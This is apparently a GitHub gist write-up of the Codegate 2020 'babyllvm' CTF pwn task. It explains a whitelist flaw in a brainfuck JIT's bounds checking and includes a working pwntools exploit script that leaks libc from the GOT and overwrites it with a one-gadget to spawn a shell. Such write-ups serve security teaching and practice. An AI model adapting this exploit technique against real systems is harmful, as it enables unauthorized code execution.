Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active August 11, 2021 16:43
Show Gist options
  • Save Stfort52/9de7fe54ed283eb15228c66d00b0d457 to your computer and use it in GitHub Desktop.
Save Stfort52/9de7fe54ed283eb15228c66d00b0d457 to your computer and use it in GitHub Desktop.
Write-up for the pwning task babyllvm from codegate quals 2020

Codegate 2020 Teaser Babyllvm

This is the Write-Up from the CTF codegate 2020 teaser.

problem

The problem is basically a brainfuck emulator, compromised of a python script main.py and a shared object runtime.so. These scripts use the llvmlite to introduce JIT into it.

goal

according to the dockerfile, the flag is located at /home/user/flag, so we need to pwn the babyllvm to get a shell.

analysis

The memory of this brainfuck emulator is stored in a array DATA in the runtime.so. And it's size is limited. For every single memory access, ptrBoundCheckfunction is called from the runtime. This function, with the help of the python script, halts the program when you try to use a out-of-bounds pointer on memory access.

However, there is a concept of a whitelist in the main.py. If the requested address of a memory access is in the whitelist, it's check (a.k.a. ptrBoundCheck) is omitted. Normally, the addition of whitelist is always coupled with a successful ptrBoundCheck.

if not is_safe(rel_pos, whitelist_cpy):
					sptr = builder.load(sptr_ptr)
					cur = builder.ptrtoint(dptr, i64)
					start = builder.ptrtoint(sptr, i64)
					bound = builder.add(start, llvmIR.Constant(i64, 0x3000))
					builder.call(ptrBoundCheck, [start, bound, cur])
					whitelist_cpy = whitelist_add(whitelist_cpy, rel_pos)

This is not really useful, because it can only add useless whitelists. So, we read the main.py again and found this piece of code.

def codegen(self, module, whitelist=None):
	main_routine = findFunctionByName(module, "main_routine")

	if (self.isLinear == True):
		#A lot of code was here.
	else:
		# create all blocks
		headb = self.head.codegen(module)
		br1b = self.br1.codegen(module, (0, 0))
		br2b = self.br2.codegen(module, (0, 0))

The second argument of the codegen is whitelist. When the code has a bracket in it, It splices the code into three, a head domain with pre-bracket codes, a br1 domain with endo-bracket codes, and a br2 domain with post-bracket codes.

In short, position right after branching is always whitelisted. Now we can access other memory regions by using brackets.

solution

By moving the pointer backwards, we can access the got section of runtime.so. Using the . of the brainfuck, we can easily get a leak of libc. Then, we calculated an offset to the one-shot gadget, overwriting the libc's got. Please read wrapper.pyfor more details.

class babyllvm:
default_pos = 0x90
def __init__(self):
self.pos = self.default_pos
self.code = ""
def __call__(self):
cp = self.code
self.code = ""
self.pos = self.default_pos
return cp
def __move_ptr(self, pos):
c = "[]"+">"*(pos-self.pos)+b"<"*(self.pos-pos)
self.pos = pos
return c
def write_byte(self, pos):
self.code += self.__move_ptr(pos)
self.code += "[," #"+"*val #I don't WANNA WRITE!
self.code += self.__move_ptr(self.default_pos)[2:]
self.code += "]"
def read_byte(self, pos):
self.code += self.__move_ptr(pos)
self.code += "[."
self.code += self.__move_ptr(self.default_pos)[2:]
self.code += "]"
if __name__ == "__main__":
b = babyllvm()
for i in range(8):
b.read_byte(0x40+i)
print(b())
from helper import babyllvm
from pwn import *
#context.log_level="DEBUG"
b = babyllvm()
p=remote(None,24546)
p.sendlineafter(">> ",".")
r =""
for i in range(8):
b.read_byte(0x18+i)
p.sendlineafter(">> ",b())
recv = p.recvuntil(">")
if len(recv) < 2:
r += "\0"
else:
r += recv[0]
p.unrecv(">>> ")
addr = u64(r)
print(hex(addr))
libcbase = addr - 0x110140
one = libcbase + 0x10a38c
print(hex(one))
onegadget = p64(one)
for i in range(8):
b.write_byte(0x18+i)
p.sendlineafter(">>> ",b())
p.send(onegadget[i])
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment